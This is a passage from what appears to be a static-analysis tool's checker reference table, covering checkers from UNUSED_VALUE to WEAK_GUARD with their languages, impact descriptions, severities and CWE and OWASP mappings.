| UNUSED_VALUE | Unused value | Code maintainability issues | C# | An assigned value that is never used may represent unnecessary computation, an incorrect algorithm, or possibly the need for cleanup or refactoring. | Low | Quality | 563 | 17, 18, 398, 563, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| UNUSED_VALUE | Unused value | Code maintainability issues | Java | An assigned value that is never used may represent unnecessary computation, an incorrect algorithm, or possibly the need for cleanup or refactoring. | Low | Quality | 563 | 17, 18, 398, 563, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| UNUSED_VALUE | Unused value | Code maintainability issues | Objective-C/C++ | An assigned value that is never used may represent unnecessary computation, an incorrect algorithm, or possibly the need for cleanup or refactoring. | Low | Quality | 563 | 17, 18, 398, 563, 699, 700, 710, 734, 747, 868, 883, 884, 886, 888, 907, 978, 1000, 1003, 1006 | ||
| URL_MANIPULATION | URL manipulation | Low impact security | Java | An attacker may access, modify, or corrupt content that contains sensitive information or is critical to the application. | Low | Security | 99 | 17, 18, 19, 20, 74, 99, 116, 137, 171, 254, 635, 693, 699, 700, 707, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 809, 813, 844, 845, 868, 872, 876, 883, 884, 888, 896, 907, 928, 929, 932, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027, 1031 | owasp-web-2017-A1: Injection, owasp-web-2017-A5: Broken Access Control | |
| URL_MANIPULATION | URL manipulation | Low impact security | Java | An attacker may access, modify, or corrupt data that contains sensitive information or is critical to the application. | Low | Security | 99 | 17, 18, 19, 20, 74, 99, 116, 137, 171, 254, 635, 693, 699, 700, 707, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 809, 813, 844, 845, 868, 872, 876, 883, 884, 888, 896, 907, 928, 929, 932, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027, 1031 | owasp-web-2017-A1: Injection, owasp-web-2017-A5: Broken Access Control | |
| URL_MANIPULATION | URL manipulation | Medium impact security | Java | An attacker may access unintended files or make the application access a malicious website. | Medium | Security | 99 | 17, 18, 19, 20, 74, 99, 116, 137, 171, 254, 635, 693, 699, 700, 707, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 809, 813, 844, 845, 868, 872, 876, 883, 884, 888, 896, 907, 928, 929, 932, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027, 1031 | owasp-web-2017-A1: Injection, owasp-web-2017-A5: Broken Access Control | |
| USELESS_CALL | Useless call | Incorrect expression | C/C++ | A function call that seems to have an intended effect has no actual effect on the logic of the program. | Medium | Quality | None | |||
| USELESS_CALL | Useless call | Incorrect expression | C# | A function call that seems to have an intended effect has no actual effect on the logic of the program. | Medium | Quality | None | |||
| USELESS_CALL | Useless call | Incorrect expression | Java | A function call that seems to have an intended effect has no actual effect on the logic of the program. | Medium | Quality | None | |||
| USELESS_CALL | Useless call | Incorrect expression | Objective-C/C++ | A function call that seems to have an intended effect has no actual effect on the logic of the program. | Medium | Quality | None | |||
| USER_POINTER | User pointer dereference | Security best practices violations | C/C++ | An attacker could craft the pointer to read or write kernel memory and take over the system, or cause a crash. | Low | Quality, Security | 20 | 17, 18, 19, 20, 254, 635, 693, 699, 700, 711, 722, 734, 738, 742, 746, 747, 750, 751, 868, 872, 876, 883, 888, 896, 907, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| USER_POINTER | User pointer dereference | Security best practices violations | Objective-C/C++ | An attacker could craft the pointer to read or write kernel memory and take over the system, or cause a crash. | Low | Quality, Security | 20 | 17, 18, 19, 20, 254, 635, 693, 699, 700, 711, 722, 734, 738, 742, 746, 747, 750, 751, 868, 872, 876, 883, 888, 896, 907, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| USE_AFTER_FREE | Read from pointer after free | Memory - illegal accesses | C/C++ | Incorrect values may be read from freed memory, causing incorrect computations. | High | Quality, Security | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| USE_AFTER_FREE | Read from pointer after free | Memory - illegal accesses | Objective-C/C++ | Incorrect values may be read from freed memory, causing incorrect computations. | High | Quality, Security | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| USE_AFTER_FREE | Write to pointer after free | Memory - corruptions | C/C++ | This could cause an immediate crash or incorrect values might be read subsequently; the allocator's own data structures may also be corrupted. | High | Quality, Security | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| USE_AFTER_FREE | Write to pointer after free | Memory - corruptions | Objective-C/C++ | This could cause an immediate crash or incorrect values might be read subsequently; the allocator's own data structures may also be corrupted. | High | Quality, Security | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| USE_AFTER_FREE | Double close | API usage errors | C/C++ | The second close operation will fail. This may also be indicative of other earlier failed operations on the same handle. | Medium | Quality, Security | 672 | 17, 18, 361, 664, 666, 672, 699, 700, 800, 808, 840, 884, 888, 892, 983, 984, 1000, 1003 | ||
| USE_AFTER_FREE | Double close | API usage errors | Objective-C/C++ | The second close operation will fail. This may also be indicative of other earlier failed operations on the same handle. | Medium | Quality, Security | 672 | 17, 18, 361, 664, 666, 672, 699, 700, 800, 808, 840, 884, 888, 892, 983, 984, 1000, 1003 | ||
| USE_AFTER_FREE | Double free | Memory - corruptions | C/C++ | Depending on the implementation of the deallocator function, the memory may by placed on the free list more than once. | High | Quality, Security | 415 | 17, 18, 19, 20, 118, 119, 227, 254, 361, 398, 399, 415, 465, 573, 633, 635, 664, 666, 672, 675, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 844, 850, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 887, 888, 890, 891, 892, 896, 900, 907, 969, 970, 975, 978, 983, 984, 994, 1000, 1001, 1003, 1005, 1006, 1008, 1019 | ||
| USE_AFTER_FREE | Double free | Memory - corruptions | Objective-C/C++ | Depending on the implementation of the deallocator function, the memory may by placed on the free list more than once. | High | Quality, Security | 415 | 17, 18, 19, 20, 118, 119, 227, 254, 361, 398, 399, 415, 465, 573, 633, 635, 664, 666, 672, 675, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 844, 850, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 887, 888, 890, 891, 892, 896, 900, 907, 969, 970, 975, 978, 983, 984, 994, 1000, 1001, 1003, 1005, 1006, 1008, 1019 | ||
| USE_AFTER_FREE | Use after free | Memory - illegal accesses | C/C++ | This could cause an immediate crash or incorrect values might be read subsequently resulting in incorrect computations. | High | Quality, Security | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| USE_AFTER_FREE | Use of freed resources | API usage errors | Java | Attempting to use previously freed resources might result in data corruption, nonsensical results, or runtime exceptions. | Medium | Quality | 672 | 17, 18, 361, 664, 666, 672, 699, 700, 800, 808, 840, 884, 888, 892, 983, 984, 1000, 1003 | ||
| USE_AFTER_FREE | Use after free | Memory - illegal accesses | Objective-C/C++ | This could cause an immediate crash or incorrect values might be read subsequently resulting in incorrect computations. | High | Quality, Security | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| USE_AFTER_FREE | Use after close | API usage errors | C/C++ | Operations on closed handles will fail. | Medium | Quality, Security | 672 | 17, 18, 361, 664, 666, 672, 699, 700, 800, 808, 840, 884, 888, 892, 983, 984, 1000, 1003 | ||
| USE_AFTER_FREE | Use after close | API usage errors | Objective-C/C++ | Operations on closed handles will fail. | Medium | Quality, Security | 672 | 17, 18, 361, 664, 666, 672, 699, 700, 800, 808, 840, 884, 888, 892, 983, 984, 1000, 1003 | ||
| VARARGS | Missing varargs init or cleanup | API usage errors | C/C++ | Memory may be corrupted by forgetting to begin and end variable argument processing. | Medium | Quality | 573 | 227, 573, 699, 700, 710, 844, 850, 887, 888, 907, 978, 1000, 1001, 1006 | ||
| VARARGS | Missing varargs init or cleanup | API usage errors | Objective-C/C++ | Memory may be corrupted by forgetting to begin and end variable argument processing. | Medium | Quality | 573 | 227, 573, 699, 700, 710, 844, 850, 887, 888, 907, 978, 1000, 1001, 1006 | ||
| VCALL_IN_CTOR_DTOR | Bad call to a virtual method | Bad call to a virtual method | C/C++ | Unexpected behavior. Depending on the implementation, may result in crash. | Medium | Quality | None | |||
| VIRTUAL_DTOR | Empty virtual destructor | Code maintainability issues | C/C++ | The base class destructor ought to be declared as virtual; however, this case may be benign since the derived class destructor is empty. | Low | Quality | 398 | 17, 18, 361, 398, 399, 400, 404, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 772, 800, 808, 844, 857, 858, 861, 867, 868, 876, 877, 882, 884, 888, 892, 900, 907, 978, 982, 984, 985, 1000, 1003 | ||
| VIRTUAL_DTOR | Empty virtual destructor | Code maintainability issues | Objective-C/C++ | The base class destructor ought to be declared as virtual; however, this case may be benign since the derived class destructor is empty. | Low | Quality | 398 | 17, 18, 361, 398, 399, 400, 404, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 772, 800, 808, 844, 857, 858, 861, 867, 868, 876, 877, 882, 884, 888, 892, 900, 907, 978, 982, 984, 985, 1000, 1003 | ||
| VIRTUAL_DTOR | No virtual destructor | Resource leaks | C/C++ | Invocation of the wrong destructor will likely cause resources in the class to be leaked. The base class destructor ought to be declared as virtual. | High | Quality | 772 | 17, 18, 361, 398, 399, 400, 404, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 772, 800, 808, 844, 857, 858, 861, 867, 868, 876, 877, 882, 884, 888, 892, 900, 907, 978, 982, 984, 985, 1000, 1003 | ||
| VIRTUAL_DTOR | No virtual destructor | Resource leaks | Objective-C/C++ | Invocation of the wrong destructor will likely cause resources in the class to be leaked. The base class destructor ought to be declared as virtual. | High | Quality | 772 | 17, 18, 361, 398, 399, 400, 404, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 772, 800, 808, 844, 857, 858, 861, 867, 868, 876, 877, 882, 884, 888, 892, 900, 907, 978, 982, 984, 985, 1000, 1003 | ||
| VOLATILE_ATOMICITY | Volatile not atomically updated | Concurrent data access violations | C# | Some updates to the volatile variable may be lost, depending on the interleaving of thread execution. | Medium | Quality | 366 | 17, 18, 361, 362, 366, 557, 634, 635, 691, 699, 700, 734, 743, 748, 750, 751, 800, 801, 844, 852, 867, 868, 877, 882, 888, 894, 900, 907, 977, 986, 988, 1000, 1003 | ||
| VOLATILE_ATOMICITY | Volatile not atomically updated | Concurrent data access violations | Java | Some updates to the volatile variable may be lost, depending on the interleaving of thread execution. | Medium | Quality | 366 | 17, 18, 361, 362, 366, 557, 634, 635, 691, 699, 700, 734, 743, 748, 750, 751, 800, 801, 844, 852, 867, 868, 877, 882, 888, 894, 900, 907, 977, 986, 988, 1000, 1003 | ||
| VOLATILE_ATOMICITY | Volatile not atomically updated | Concurrent data access violations | C# | Some updates to the volatile variable may be lost, depending on the interleaving of thread execution. | High | Quality | 366 | 17, 18, 361, 362, 366, 557, 634, 635, 691, 699, 700, 734, 743, 748, 750, 751, 800, 801, 844, 852, 867, 868, 877, 882, 888, 894, 900, 907, 977, 986, 988, 1000, 1003 | ||
| VOLATILE_ATOMICITY | Volatile not atomically updated | Concurrent data access violations | Java | Some updates to the volatile variable may be lost, depending on the interleaving of thread execution. | High | Quality | 366 | 17, 18, 361, 362, 366, 557, 634, 635, 691, 699, 700, 734, 743, 748, 750, 751, 800, 801, 844, 852, 867, 868, 877, 882, 888, 894, 900, 907, 977, 986, 988, 1000, 1003 | ||
| VOLATILE_ATOMICITY | Volatile not atomically updated | Concurrent data access violations | C# | Some updates to the volatile variable may be lost, depending on the interleaving of thread execution. | Low | Quality | 366 | 17, 18, 361, 362, 366, 557, 634, 635, 691, 699, 700, 734, 743, 748, 750, 751, 800, 801, 844, 852, 867, 868, 877, 882, 888, 894, 900, 907, 977, 986, 988, 1000, 1003 | ||
| VOLATILE_ATOMICITY | Volatile not atomically updated | Concurrent data access violations | Java | Some updates to the volatile variable may be lost, depending on the interleaving of thread execution. | Low | Quality | 366 | 17, 18, 361, 362, 366, 557, 634, 635, 691, 699, 700, 734, 743, 748, 750, 751, 800, 801, 844, 852, 867, 868, 877, 882, 888, 894, 900, 907, 977, 986, 988, 1000, 1003 | ||
| WEAK_BIOMETRIC_AUTH | Weak Biometric Authentication | Low impact security | Swift | LocalAuthentication can be trivially bypassed allowing unauthenticated access. | Low | Security | 287 | 17, 18, 254, 264, 284, 287, 361, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 809, 812, 888, 892, 898, 899, 907, 928, 930, 935, 944, 947, 975, 984, 1000, 1003, 1008, 1010, 1011, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | |
| WEAK_GUARD | Check against reverse DNS lookup | Low impact security | C/C++ | An attacker that compromises a DNS server or pollutes its cache can bypass this check. | Low | Security | 350 | 17, 18, 227, 247, 254, 264, 284, 287, 290, 350, 361, 592, 629, 632, 635, 664, 693, 699, 700, 710, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 887, 888, 892, 898, 899, 900, 902, 907, 923, 928, 930, 935, 944, 947, 949, 956, 975, 978, 984, 1000, 1001, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Check against reverse DNS lookup | Low impact security | Java | An attacker that compromises a DNS server or pollutes its cache can bypass this check. | Low | Security | 350 | 17, 18, 227, 247, 254, 264, 284, 287, 290, 350, 361, 592, 629, 632, 635, 664, 693, 699, 700, 710, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 887, 888, 892, 898, 899, 900, 902, 907, 923, 928, 930, 935, 944, 947, 949, 956, 975, 978, 984, 1000, 1001, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Check against reverse DNS lookup | Low impact security | Objective-C/C++ | An attacker that compromises a DNS server or pollutes its cache can bypass this check. | Low | Security | 350 | 17, 18, 227, 247, 254, 264, 284, 287, 290, 350, 361, 592, 629, 632, 635, 664, 693, 699, 700, 710, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 887, 888, 892, 898, 899, 900, 902, 907, 923, 928, 930, 935, 944, 947, 949, 956, 975, 978, 984, 1000, 1001, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Check against reverse DNS lookup | High impact security | C/C++ | An attacker that compromises a DNS server or pollutes its cache can bypass this check. | High | Security | 350 | 17, 18, 227, 247, 254, 264, 284, 287, 290, 350, 361, 592, 629, 632, 635, 664, 693, 699, 700, 710, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 887, 888, 892, 898, 899, 900, 902, 907, 923, 928, 930, 935, 944, 947, 949, 956, 975, 978, 984, 1000, 1001, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Check against reverse DNS lookup | High impact security | Java | An attacker that compromises a DNS server or pollutes its cache can bypass this check. | High | Security | 350 | 17, 18, 227, 247, 254, 264, 284, 287, 290, 350, 361, 592, 629, 632, 635, 664, 693, 699, 700, 710, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 887, 888, 892, 898, 899, 900, 902, 907, 923, 928, 930, 935, 944, 947, 949, 956, 975, 978, 984, 1000, 1001, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Check against reverse DNS lookup | High impact security | Objective-C/C++ | An attacker that compromises a DNS server or pollutes its cache can bypass this check. | High | Security | 350 | 17, 18, 227, 247, 254, 264, 284, 287, 290, 350, 361, 592, 629, 632, 635, 664, 693, 699, 700, 710, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 887, 888, 892, 898, 899, 900, 902, 907, 923, 928, 930, 935, 944, 947, 949, 956, 975, 978, 984, 1000, 1001, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Comparison of HTTP referer to a constant | Low impact security | C/C++ | An attacker has full control over the contents of the HTTP 'referer' header and can thus bypass this check. | Low | Security | 293 | 17, 18, 254, 264, 284, 287, 290, 293, 361, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 898, 899, 900, 902, 907, 928, 930, 935, 944, 947, 949, 956, 975, 984, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Comparison of HTTP referer to a constant | Low impact security | Java | An attacker has full control over the contents of the HTTP 'referer' header and can thus bypass this check. | Low | Security | 293 | 17, 18, 254, 264, 284, 287, 290, 293, 361, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 898, 899, 900, 902, 907, 928, 930, 935, 944, 947, 949, 956, 975, 984, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Comparison of HTTP referer to a constant | Low impact security | Objective-C/C++ | An attacker has full control over the contents of the HTTP 'referer' header and can thus bypass this check. | Low | Security | 293 | 17, 18, 254, 264, 284, 287, 290, 293, 361, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 898, 899, 900, 902, 907, 928, 930, 935, 944, 947, 949, 956, 975, 984, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Comparison of HTTP referer to a constant | High impact security | C/C++ | An attacker has full control over the contents of the HTTP 'referer' header and can thus bypass this check. | High | Security | 293 | 17, 18, 254, 264, 284, 287, 290, 293, 361, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 898, 899, 900, 902, 907, 928, 930, 935, 944, 947, 949, 956, 975, 984, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Comparison of HTTP referer to a constant | High impact security | Java | An attacker has full control over the contents of the HTTP 'referer' header and can thus bypass this check. | High | Security | 293 | 17, 18, 254, 264, 284, 287, 290, 293, 361, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 898, 899, 900, 902, 907, 928, 930, 935, 944, 947, 949, 956, 975, 984, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Comparison of HTTP referer to a constant | High impact security | Objective-C/C++ | An attacker has full control over the contents of the HTTP 'referer' header and can thus bypass this check. | High | Security | 293 | 17, 18, 254, 264, 284, 287, 290, 293, 361, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 898, 899, 900, 902, 907, 928, 930, 935, 944, 947, 949, 956, 975, 984, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Comparison of IP address to a constant | Low impact security | C/C++ | Network data that masquerades as being from the trusted IP address may bypass this check. | Low | Security | 291 | 17, 18, 19, 254, 264, 284, 287, 290, 291, 361, 471, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 896, 898, 899, 900, 902, 907, 923, 928, 930, 935, 944, 947, 956, 975, 984, 991, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Comparison of IP address to a constant | Low impact security | Java | Network data that masquerades as being from the trusted IP address may bypass this check. | Low | Security | 291 | 17, 18, 19, 254, 264, 284, 287, 290, 291, 361, 471, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 896, 898, 899, 900, 902, 907, 923, 928, 930, 935, 944, 947, 956, 975, 984, 991, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Comparison of IP address to a constant | Low impact security | Objective-C/C++ | Network data that masquerades as being from the trusted IP address may bypass this check. | Low | Security | 291 | 17, 18, 19, 254, 264, 284, 287, 290, 291, 361, 471, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 896, 898, 899, 900, 902, 907, 923, 928, 930, 935, 944, 947, 956, 975, 984, 991, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Comparison of IP address to a constant | High impact security | C/C++ | Network data that masquerades as being from the trusted IP address may bypass this check. | High | Security | 291 | 17, 18, 19, 254, 264, 284, 287, 290, 291, 361, 471, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 896, 898, 899, 900, 902, 907, 923, 928, 930, 935, 944, 947, 956, 975, 984, 991, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Comparison of IP address to a constant | High impact security | Java | Network data that masquerades as being from the trusted IP address may bypass this check. | High | Security | 291 | 17, 18, 19, 254, 264, 284, 287, 290, 291, 361, 471, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 896, 898, 899, 900, 902, 907, 923, 928, 930, 935, 944, 947, 956, 975, 984, 991, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Comparison of IP address to a constant | High impact security | Objective-C/C++ | Network data that masquerades as being from the trusted IP address may bypass this check. | High | Security | 291 | 17, 18, 19, 254, 264, 284, 287, 290, 291, 361, 471, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 896, 898, 899, 900, 902, 907, 923, 928, 930, 935, 944, 947, 956, 975, 984, 991, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Check against unreliable data | Low impact security | C/C++ | An attacker can control the values of the data being checked thus bypassing the check. | Low | Security | 290 | 17, 18, 254, 264, 284, 287, 290, 361, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 898, 899, 900, 902, 907, 928, 930, 935, 944, 947, 956, 975, 984, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Check against unreliable data | Low impact security | Java | An attacker can control the values of the data being checked thus bypassing the check. | Low | Security | 290 | 17, 18, 254, 264, 284, 287, 290, 361, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 898, 899, 900, 902, 907, 928, 930, 935, 944, 947, 956, 975, 984, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Check against unreliable data | Low impact security | Objective-C/C++ | An attacker can control the values of the data being checked thus bypassing the check. | Low | Security | 290 | 17, 18, 254, 264, 284, 287, 290, 361, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 898, 899, 900, 902, 907, 928, 930, 935, 944, 947, 956, 975, 984, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Comparison of OS login to a constant | Low impact security | C/C++ | An attacker running this program on a machine they administer can bypass this check by creating a suitably named account | Low | Security | 290 | 17, 18, 254, 264, 284, 287, 290, 361, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 898, 899, 900, 902, 907, 928, 930, 935, 944, 947, 956, 975, 984, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| WEAK_GUARD | Comparison of OS login to a constant | Low impact security | Java | An attacker running this program on a machine they administer can bypass this check by creating a suitably named account | Low | Security | 290 | 17, 18, 254, 264, 284, 287, 290, 361, 592, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 888, 892, 898, 899, 900, 902, 907, 928, 930, 935, 944, 947, 956, 975, 984, 1000, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
